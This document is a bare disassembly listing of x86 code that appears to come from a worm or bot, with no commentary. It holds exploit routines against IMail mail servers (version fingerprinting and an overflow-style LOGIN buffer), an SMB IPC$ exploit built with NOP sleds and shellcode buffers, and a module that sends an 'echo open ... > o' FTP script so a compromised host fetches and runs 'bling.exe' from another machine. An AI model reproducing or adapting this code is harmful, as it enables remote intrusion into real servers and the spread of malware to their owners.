xor eax, eax
inc eax
loc_40CF19: ; CODE XREF: .text:0040CEC7j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
push edi
mov esi, 160h
push esi
mov dword ptr [ebp-4], 6741A1CDh
call _malloc
push esi
mov edi, eax
push 0
push edi
call _memset
push 12h
push offset dword_43E780
push edi
call _memcpy
lea esi, [edi+11h]
push offset dword_432FB8
push esi
call _strcat
push offset aThcownziis ; "THCOWNZIIS!"
push esi
call _strcat
not dword ptr [ebp-4]
push 4
lea eax, [ebp-4]
push eax
push esi
call _strncat
xor eax, eax
mov ax, word ptr dword_4D525C
add esp, 38h
push eax
call dword_444260 ; htons
push dword ptr [ebp+8]
mov [ebp-8], eax
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
xor dword ptr [ebp-8], 9393h
mov [ebp-0Ch], eax
xor dword ptr [ebp-0Ch], 93939393h
push 2
lea eax, [ebp-8]
push eax
push offset word_43E79A
call _memcpy
push 4
lea eax, [ebp-0Ch]
push eax
push offset dword_43E79C
call _memcpy
push offset byte_43E798
push esi
call _strcat
add esp, 20h
push 6
push 1
push 2
call dword_444100 ; socket
mov esi, eax
lea eax, [ebp+0Ch]
push eax
call dword_44417C ; inet_addr
push 1BBh
mov [ebp-18h], eax
mov word ptr [ebp-1Ch], 2
call dword_444260 ; htons
mov [ebp-1Ah], ax
push 10h
lea eax, [ebp-1Ch]
push eax
push esi
call dword_4440AC ; connect
test eax, eax
jnz short loc_40D04F
push eax
push 15Fh
push edi
push esi
call dword_4441A0 ; send
push esi
call dword_444218 ; closesocket
push edi
call _free
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
xor eax, eax
pop ecx
inc eax
jmp short loc_40D051
; ---------------------------------------------------------------------------
loc_40D04F: ; CODE XREF: .text:0040D01Bj
xor eax, eax
loc_40D051: ; CODE XREF: .text:0040D04Dj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D055 proc near ; CODE XREF: .text:0040D728p
var_800 = byte ptr -800h
Dest = byte ptr -400h
arg_0 = dword ptr 8
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 800h
push esi
push edi
mov edi, [ebp+arg_BC]
push 0
mov esi, 400h
push esi
lea eax, [ebp+var_800]
push eax
push edi
call dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jz loc_40D128
movzx eax, word ptr dword_4D1FE4
push eax
push [ebp+arg_0]
call sub_4023C9
pop ecx
push eax
push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 14h
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40D128
push 1F4h
call ds:dword_42B014 ; Sleep
push offset aBling_exe ; "bling.exe\r\n"
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dest]
push 0
push eax ; Str
call _strlen
pop ecx
push eax
lea eax, [ebp+Dest]
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40D128
push 0
push esi
push offset dword_4D4BB0
push edi
call dword_444064 ; recv
push edi
call dword_444218 ; closesocket
loc_40D128: ; CODE XREF: sub_40D055+2Aj
; sub_40D055+78j ...
pop edi
pop esi
leave
retn
sub_40D055 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 12Ch
push ebx
push esi
push edi
mov dword ptr [ebp-14h], 10h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
lea eax, [ebp+0Ch]
push eax
mov edi, edx
add edi, 7D0h
mov [ebp-20h], edi
call dword_444168 ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_40D17F
lea eax, [ebp+0Ch]
push eax
call ds:dword_42B218 ; inet_addr
cmp eax, 0FFFFFFFFh
mov dword_4D4CC0, eax
jz loc_40D757
loc_40D17F: ; CODE XREF: .text:0040D165j
push 6
push 1
push 2
pop ebx
push ebx
call dword_444100 ; socket
test eax, eax
mov dword_4D4CBC, eax
jz loc_40D757
test esi, esi
jz short loc_40D1B6
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call _memcpy
add esp, 0Ch
jmp short loc_40D1BE
; ---------------------------------------------------------------------------
loc_40D1B6: ; CODE XREF: .text:0040D19Cj
mov eax, dword_4D4CC0
mov [ebp-0Ch], eax
loc_40D1BE: ; CODE XREF: .text:0040D1B4j
test esi, esi
jz short loc_40D1CC
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_40D1D0
; ---------------------------------------------------------------------------
loc_40D1CC: ; CODE XREF: .text:0040D1C0j
mov [ebp-10h], bx
loc_40D1D0: ; CODE XREF: .text:0040D1CAj
push dword ptr [ebp+0A8h]
call dword_444260 ; htons
push dword ptr [ebp+8]
mov [ebp-0Eh], ax
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
push edi
mov esi, eax
call dword_444260 ; htons
movzx eax, ax
xor eax, 7C1Fh
mov [ebp-1Ch], eax
push 4
lea eax, [ebp-18h]
push eax
xor esi, 7C1F1AE0h
push offset dword_43E9A0
mov [ebp-18h], esi
call _memcpy
push ebx
lea eax, [ebp-1Ch]
push eax
push offset word_43E9A6
call _memcpy
push 386h
push 90h
mov edi, offset dword_4D4CC8
push edi
call _memset
push 0Ch
push offset aA01Login ; "a01 LOGIN \"&"
push edi
call _memcpy
push 138h
push offset dword_43E8E8
push offset dword_4D4D74
call _memcpy
push 2Ah
push offset dword_43EAC0
push offset dword_4D4F94
call _memcpy
add esp, 48h
push 0Bh
push offset aWe0wn ; "\" \"We0wn\"\r\n"
push offset word_4D504E
call _memcpy
add esp, 0Ch
push 10h
lea eax, [ebp-10h]
push eax
push dword_4D4CBC
call dword_4440AC ; connect
test eax, eax
mov dword_4D4CB8, eax
jnz loc_40D757
push eax
push 100h
mov esi, offset dword_4D4BB0
push esi
push dword_4D4CBC
call dword_444064 ; recv
push offset aImail ; "IMail"
push esi
mov dword_4D4CB0, eax
call _strstr
test eax, eax
pop ecx
pop ecx
jz loc_40D7DE
push offset a7_04 ; "7.04"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D30D
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA28
loc_40D303: ; CODE XREF: .text:0040D335j
; .text:0040D370j ...
push offset dword_4D4F84
jmp loc_40D635
; ---------------------------------------------------------------------------
loc_40D30D: ; CODE XREF: .text:0040D2EAj
push offset a7_05 ; "7.05"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D337
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA30
jmp short loc_40D303
; ---------------------------------------------------------------------------
loc_40D337: ; CODE XREF: .text:0040D31Cj
push offset a7_06 ; "7.06"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_40D359
push offset a7_07 ; "7.07"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D372
loc_40D359: ; CODE XREF: .text:0040D346j
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA38
jmp short loc_40D303
; ---------------------------------------------------------------------------
loc_40D372: ; CODE XREF: .text:0040D357j
push offset a7_10 ; "7.10"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_40D394
push offset a7_11 ; "7.11"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D3B0
loc_40D394: ; CODE XREF: .text:0040D381j
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA40
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D3B0: ; CODE XREF: .text:0040D392j
push offset a7_12 ; "7.12"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D3DD
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA48
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D3DD: ; CODE XREF: .text:0040D3BFj
push offset a7_13 ; "7.13"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_40D3FF
push offset a7_14 ; "7.14"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D41B
loc_40D3FF: ; CODE XREF: .text:0040D3ECj
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA50
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D41B: ; CODE XREF: .text:0040D3FDj
push offset a7_15 ; "7.15"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D448
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA58
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D448: ; CODE XREF: .text:0040D42Aj
push offset a8_00 ; "8.00"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D475
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA60
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D475: ; CODE XREF: .text:0040D457j
push offset a8_01 ; "8.01"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D4A2
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA68
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D4A2: ; CODE XREF: .text:0040D484j
push offset a8_02 ; "8.02"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D4CF
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA70
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D4CF: ; CODE XREF: .text:0040D4B1j
push offset a8_03 ; "8.03"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D4FC
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA78
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D4FC: ; CODE XREF: .text:0040D4DEj
push offset a8_04 ; "8.04"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D529
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA80
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D529: ; CODE XREF: .text:0040D50Bj
push offset a8_05 ; "8.05"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D556
push ebx
push offset dword_43EA24
push offset word_4D4F82
call _memcpy
push 4
push offset dword_43EA88
jmp loc_40D303
; ---------------------------------------------------------------------------
loc_40D556: ; CODE XREF: .text:0040D538j
push offset a8_10 ; "8.10"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D583
push ebx
push offset dword_43EA24
push offset word_4D4F7A
call _memcpy
push 4
push offset dword_43EA90
jmp loc_40D630
; ---------------------------------------------------------------------------
loc_40D583: ; CODE XREF: .text:0040D565j
push offset a8_11 ; "8.11"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D5B0
push ebx
push offset dword_43EA24
push offset word_4D4F7A
call _memcpy
push 4
push offset dword_43EA98
jmp loc_40D630
; ---------------------------------------------------------------------------
loc_40D5B0: ; CODE XREF: .text:0040D592j
push offset a8_12 ; "8.12"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D5DA
push ebx
push offset dword_43EA24
push offset word_4D4F7A
call _memcpy
push 4
push offset dword_43EAA0
jmp short loc_40D630
; ---------------------------------------------------------------------------
loc_40D5DA: ; CODE XREF: .text:0040D5BFj
push offset a8_13 ; "8.13"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D604
push ebx
push offset dword_43EA24
push offset word_4D4F7A
call _memcpy
push 4
push offset dword_43EAA8
jmp short loc_40D630
; ---------------------------------------------------------------------------
loc_40D604: ; CODE XREF: .text:0040D5E9j
push offset a8_14 ; "8.14"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz loc_40D75E
push ebx
push offset dword_43EA24
push offset word_4D4F7A
call _memcpy
push 4
push offset dword_43EAB0
loc_40D630: ; CODE XREF: .text:0040D57Ej
; .text:0040D5ABj ...
push offset dword_4D4F7C
loc_40D635: ; CODE XREF: .text:0040D308j
call _memcpy
add esp, 18h
loc_40D63D: ; CODE XREF: .text:0040D7EDj
mov esi, ds:dword_42B014
push 64h
call esi ; Sleep
push 0
push edi
call _strlen
pop ecx
push eax
push edi
push dword_4D4CBC
call dword_4441A0 ; send
push 64h
call esi ; Sleep
push dword ptr [ebp-20h]
xor edi, edi
mov [ebp-0Ch], edi
call dword_444260 ; htons
push 6
xor esi, esi
inc esi
push esi
push ebx
mov [ebp-0Eh], ax
call dword_444100 ; socket
push 10h
lea ecx, [ebp-10h]
push ecx
push eax
mov dword_4D4CB4, eax
call dword_4441E4 ; bind
cmp eax, edi
mov dword_4D4CB8, eax
jnz loc_40D757
push esi
push dword_4D4CB4
call dword_444230 ; listen
cmp eax, edi
mov dword_4D4CB8, eax
jnz loc_40D757
mov eax, dword_4D4CB4
mov [ebp-128h], eax
lea eax, [ebp-28h]
push eax
push edi
push edi
lea eax, [ebp-12Ch]
push eax
push esi
mov dword ptr [ebp-28h], 8
mov [ebp-24h], edi
mov [ebp-12Ch], esi
call ds:dword_42B21C ; select
test eax, eax
jle short loc_40D757
lea eax, [ebp-14h]
push eax
lea eax, [ebp-10h]
push eax
push dword_4D4CB4
call dword_4440BC ; accept
mov ecx, [ebp+0B0h]
shl ecx, 6
push eax
lea ecx, dword_43D880[ecx]
inc dword ptr [ecx]
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
mov dword_4D50C8, eax
rep movsd
call sub_40D055
add esp, 0C0h
push dword_4D4CBC
call dword_444218 ; closesocket
push dword_4D4CB4
call dword_444218 ; closesocket
push dword_4D50C8
loc_40D751: ; CODE XREF: .text:0040D7F9j
call dword_444218 ; closesocket
loc_40D757: ; CODE XREF: .text:0040D179j
; .text:0040D194j ...
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D75E: ; CODE XREF: .text:0040D613j
push offset a8_15 ; "8.15"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_40D78B
push ebx
push offset dword_43EA24
push offset word_4D4F7A
call _memcpy
push 4
push offset dword_43EAB8
jmp loc_40D630
; ---------------------------------------------------------------------------
loc_40D78B: ; CODE XREF: .text:0040D76Dj
push offset aHotfix2 ; "hotfix2"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a4_0 ; "4.0"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a5_0 ; "5.0"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a6_0 ; "6.0"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz short loc_40D7F3
push offset a7_0 ; "7.0"
push esi
call _strstr
pop ecx
pop ecx
jmp short loc_40D7F3
; ---------------------------------------------------------------------------
loc_40D7DE: ; CODE XREF: .text:0040D2D5j
push offset aImail ; "IMail"
push esi
call _strstr
test eax, eax
pop ecx
pop ecx
jnz loc_40D63D
loc_40D7F3: ; CODE XREF: .text:0040D79Aj
; .text:0040D7ABj ...
push dword_4D4CBC
jmp loc_40D751
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D7FE proc near ; CODE XREF: .text:0040DD59p
; .text:0040DD7Bp ...
var_89B4 = byte ptr -89B4h
var_894C = byte ptr -894Ch
var_68DC = byte ptr -68DCh
var_686C = byte ptr -686Ch
var_5DA8 = byte ptr -5DA8h
var_4804 = byte ptr -4804h
var_4803 = byte ptr -4803h
var_3770 = byte ptr -3770h
var_2CAC = byte ptr -2CACh
var_2CAB = byte ptr -2CABh
var_2CA8 = byte ptr -2CA8h
var_2C2C = byte ptr -2C2Ch
var_245C = byte ptr -245Ch
var_1FB1 = byte ptr -1FB1h
Dst = byte ptr -1CC4h
var_14E0 = byte ptr -14E0h
var_14D0 = byte ptr -14D0h
var_11AC = byte ptr -11ACh
var_11A8 = byte ptr -11A8h
var_119C = byte ptr -119Ch
var_F14 = byte ptr -0F14h
var_E74 = byte ptr -0E74h
var_768 = dword ptr -768h
var_758 = byte ptr -758h
var_744 = byte ptr -744h
Src = byte ptr -104h
var_103 = byte ptr -103h
var_B4 = byte ptr -0B4h
var_B1 = byte ptr -0B1h
var_87 = byte ptr -87h
var_85 = byte ptr -85h
var_84 = byte ptr -84h
Str = byte ptr -3Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B4h
call __alloca_probe
mov eax, ds:dword_43310C
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_433110
push esi
mov [ebp+var_C], eax
push edi
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Str]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor ebx, ebx
xor eax, eax
loc_40D837: ; CODE XREF: sub_40D7FE+4Fj
mov cl, [ebp+eax+Str]
mov [ebp+eax*2+Src], cl
mov [ebp+eax*2+var_103], bl
inc eax
cmp eax, 28h
jl short loc_40D837
push 60h ; Size
lea eax, [ebp+var_B4]
push offset dword_43EFF0 ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl eax, 1
push eax ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [ebp+var_84]
push eax ; Dst
call _memcpy
add esp, 1Ch
push 9 ; Size
lea eax, [ebp+Str]
push (offset aC_4+3) ; Src
push eax ; Str
call _strlen
pop ecx
lea eax, [ebp+eax*2+var_85]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
add al, 1Ah
shl al, 1
mov [ebp+var_1], al
push 1 ; Size
lea eax, [ebp+var_1]
push eax ; Src
lea eax, [ebp+var_B1]
push eax ; Dst
call _memcpy
lea eax, [ebp+Str]
push eax ; Str
call _strlen
shl al, 1
add al, 9
mov [ebp+var_2], al
push 1 ; Size
lea eax, [ebp+var_2]
push eax ; Src
lea eax, [ebp+var_87]
push eax ; Dst
call _memcpy
xor eax, eax
mov ax, word ptr dword_43F3F8
add esp, 2Ch
push eax
call dword_444260 ; htons
push 2 ; Size
xor eax, 9999h
mov [ebp+var_8], eax
lea eax, [ebp+var_8]
push eax ; Src
push offset dword_43ECE8 ; Dst
call _memcpy
add esp, 0Ch
cmp [ebp+arg_C0], ebx
jz loc_40D9FE
mov edi, 0DACh
push edi ; Size
lea eax, [ebp+Dst]
push 90h ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_C0]
imul eax, 3Ch
lea eax, dword_43F438[eax]
push 4 ; Size
push eax ; Src
mov [ebp+var_14], eax
lea eax, [ebp+var_14E0]
push eax ; Dst
call _memcpy
mov esi, offset aI_1 ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_14D0]
push esi ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_11AC]
push offset dword_4330F8 ; Src
push eax ; Dst
call _memcpy
push 4 ; Size
push [ebp+var_14] ; Src
lea eax, [ebp+var_11A8]
push eax ; Dst
call _memcpy
add esp, 40h
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_119C]
push esi ; Src
push eax ; Dst
call _memcpy
add esp, 10h
xor eax, eax
loc_40D9B0: ; CODE XREF: sub_40D7FE+1CAj
mov cl, [ebp+eax+Dst]
mov [ebp+eax*2+var_4804], cl
mov [ebp+eax*2+var_4803], bl
inc eax
cmp eax, edi
jl short loc_40D9B0
mov esi, 1C52h
push esi ; Size
lea eax, [ebp+var_89B4]
push 31h ; Val
push eax ; Dst
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call _memset
push esi ; Size
lea eax, [ebp+var_68DC]
push 31h ; Val
push eax ; Dst
call _memset
add esp, 18h
jmp short loc_40DA55
; ---------------------------------------------------------------------------
loc_40D9FE: ; CODE XREF: sub_40D7FE+11Bj
push 7D0h ; Size
lea eax, [ebp+var_F14]
push 90h ; Val
push eax ; Dst
call _memset
mov esi, offset aI_1 ; "ë"
push esi ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_E74]
push esi ; Src
push eax ; Dst
call _memcpy
lea eax, [ebp+var_10]
push eax ; Str
call _strlen
push eax ; Size
lea eax, [ebp+var_10]
push eax ; Src
lea eax, [ebp+var_758]
push eax ; Dst
call _memcpy
mov eax, dword_43F438
add esp, 2Ch
mov [ebp+var_768], eax
loc_40DA55: ; CODE XREF: sub_40D7FE+1FEj
push 0E29h ; Size
lea eax, [ebp+var_2CA8]
push 31h ; Val
push eax ; Dst
call _memset
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
push ebx
add eax, 4
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40DA94
loc_40DA8D: ; CODE XREF: sub_40D7FE+2BDj
; sub_40D7FE+2E4j ...
xor al, al
jmp loc_40DC42
; ---------------------------------------------------------------------------
loc_40DA94: ; CODE XREF: sub_40D7FE+28Dj
push ebx
mov esi, 640h
push esi
lea eax, [ebp+var_744]
push eax
push edi
call dword_444064 ; recv
push ebx
push 68h
push offset dword_43F058
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DA8D
push ebx
push esi
lea eax, [ebp+var_744]
push eax
push edi
call dword_444064 ; recv
push ebx
push 0A0h
push offset dword_43F0C8
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DA8D
push ebx
push esi
lea eax, [ebp+var_744]
push eax
push edi
call dword_444064 ; recv
cmp [ebp+arg_C0], ebx
jz loc_40DBAA
push 68h ; Size
lea eax, [ebp+var_89B4]
push offset dword_43F288 ; Src
push eax ; Dst
call _memcpy
push 1B5Ah ; Size
lea eax, [ebp+var_4804]
push eax ; Src
lea eax, [ebp+var_894C]
push eax ; Dst
call _memcpy
push 70h ; Size
lea eax, [ebp+var_68DC]
push offset dword_43F2F8 ; Src
push eax ; Dst
call _memcpy
push 0A5Eh ; Size
lea eax, [ebp+var_3770]
push eax ; Src
lea eax, [ebp+var_686C]
push eax ; Dst
call _memcpy
push 84h ; Size
lea eax, [ebp+var_5DA8]
push offset dword_43F370 ; Src
push eax ; Dst
call _memcpy
add esp, 3Ch
push ebx
push 10FCh
lea eax, [ebp+var_89B4]
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40DA8D
push ebx
push esi
lea eax, [ebp+var_744]
push eax
push edi
call dword_444064 ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_40DC00
; ---------------------------------------------------------------------------
loc_40DBAA: ; CODE XREF: sub_40D7FE+2FCj
push 7Ch ; Size
lea eax, [ebp+var_2CA8]
push offset dword_43F170 ; Src
push eax ; Dst
call _memcpy
push 7D0h ; Size
lea eax, [ebp+var_F14]
push eax ; Src
lea eax, [ebp+var_2C2C]
push eax ; Dst
call _memcpy
push 90h ; Size
lea eax, [ebp+var_245C]
push offset off_43F1F0 ; Src
push eax ; Dst
call _memcpy
add esp, 24h
push ebx
mov [ebp+var_1FB1], bl
push 0CF8h
lea eax, [ebp+var_2CA8]
loc_40DC00: ; CODE XREF: sub_40D7FE+3AAj
push eax
push edi
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz loc_40DA8D
push 12Ch
call ds:dword_42B014 ; Sleep
push dword_43F3F8
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_41B128
add esp, 0C0h
test al, al
setnz al
loc_40DC42: ; CODE XREF: sub_40D7FE+291j
pop edi
pop esi
pop ebx
leave
retn
sub_40D7FE endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 654h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp-14h]
push edi
push eax
mov [ebp-4], edi
call _memset
add esp, 0Ch
lea eax, [ebp+0Ch]
push eax
mov word ptr [ebp-14h], 2
call dword_44417C ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-10h], eax
call dword_444260 ; htons
push 6
push 1
push 2
mov [ebp-12h], ax
call dword_444100 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_40DD40
push 10h
lea eax, [ebp-14h]
push eax
push ebx
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40DD40
push edi
push 89h
push offset dword_43EDD0
push ebx
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DD40
push edi
mov esi, 640h
push esi
lea eax, [ebp-654h]
push eax
push ebx
call dword_444064 ; recv
push edi
push 0A8h
push offset dword_43EE60
push ebx
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DD40
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call dword_444064 ; recv
push edi
push 0DEh
push offset dword_43EF10
push ebx
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40DD40
push edi
push esi
lea eax, [ebp-654h]
push eax
push ebx
call dword_444064 ; recv
movsx eax, byte ptr [ebp-610h]
sub eax, 30h
jz short loc_40DD68
dec eax
jz short loc_40DD47
loc_40DD40: ; CODE XREF: .text:0040DC9Bj
; .text:0040DCB1j ...
xor eax, eax
jmp loc_40DDD4
; ---------------------------------------------------------------------------
loc_40DD47: ; CODE XREF: .text:0040DD3Ej
push edi
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40D7FE
add esp, 0C4h
push 0
jmp short loc_40DD8C
; ---------------------------------------------------------------------------
loc_40DD68: ; CODE XREF: .text:0040DD3Bj
push 2
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40D7FE
add esp, 0C4h
test al, al
jnz short loc_40DDAC
push 1
loc_40DD8C: ; CODE XREF: .text:0040DD66j
push ebx
sub esp, 0BCh
push 2Fh
pop ecx
lea esi, [ebp+8]
mov edi, esp
rep movsd
call sub_40D7FE
add esp, 0C4h
test al, al
jz short loc_40DDB3
loc_40DDAC: ; CODE XREF: .text:0040DD88j
mov dword ptr [ebp-4], 1
loc_40DDB3: ; CODE XREF: .text:0040DDAAj
push ebx
call dword_444218 ; closesocket
cmp dword ptr [ebp-4], 0
jz short loc_40DDD1
mov eax, [ebp+0B0h]
shl eax, 6
lea eax, dword_43D880[eax]
inc dword ptr [eax]
loc_40DDD1: ; CODE XREF: .text:0040DDBEj
xor eax, eax
inc eax
loc_40DDD4: ; CODE XREF: .text:0040DD42j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DDD9 proc near ; CODE XREF: .text:0040E332p
; .text:0040E354p ...
var_89B8 = byte ptr -89B8h
var_8950 = byte ptr -8950h
var_68E0 = byte ptr -68E0h
var_6870 = byte ptr -6870h
var_5DAC = byte ptr -5DACh
var_4808 = byte ptr -4808h
var_4807 = byte ptr -4807h
var_3774 = byte ptr -3774h
var_2CB0 = byte ptr -2CB0h
var_2CAF = byte ptr -2CAFh
Dst = byte ptr -2CACh
var_24C8 = byte ptr -24C8h
var_24B8 = byte ptr -24B8h
var_2194 = byte ptr -2194h
var_2190 = byte ptr -2190h
var_2184 = byte ptr -2184h
var_1EFC = byte ptr -1EFCh
var_1E80 = byte ptr -1E80h
var_16B0 = byte ptr -16B0h
var_1205 = byte ptr -1205h
var_F18 = byte ptr -0F18h
var_E78 = byte ptr -0E78h
var_76C = dword ptr -76Ch
var_75C = byte ptr -75Ch
var_748 = byte ptr -748h
Src = byte ptr -108h
var_107 = byte ptr -107h
var_B8 = byte ptr -0B8h
var_B5 = byte ptr -0B5h
var_8B = byte ptr -8Bh
var_89 = byte ptr -89h
var_88 = byte ptr -88h
Str = byte ptr -40h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
arg_C0 = dword ptr 0C8h
push ebp
mov ebp, esp
mov eax, 89B8h
call __alloca_probe
mov eax, ds:dword_43310C
push ebx
mov [ebp+var_10], eax
mov eax, ds:dword_433110
push esi
mov [ebp+var_C], eax
push edi
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Str]
push offset aSIpc ; "\\\\%s\\ipc$"
push eax ; Dest
call _sprintf
add esp, 0Ch
xor ebx, ebx
xor eax, eax
loc_40DE12: ; CODE XREF: sub_40DDD9+4Fj
mov cl, [ebp+eax+Str]
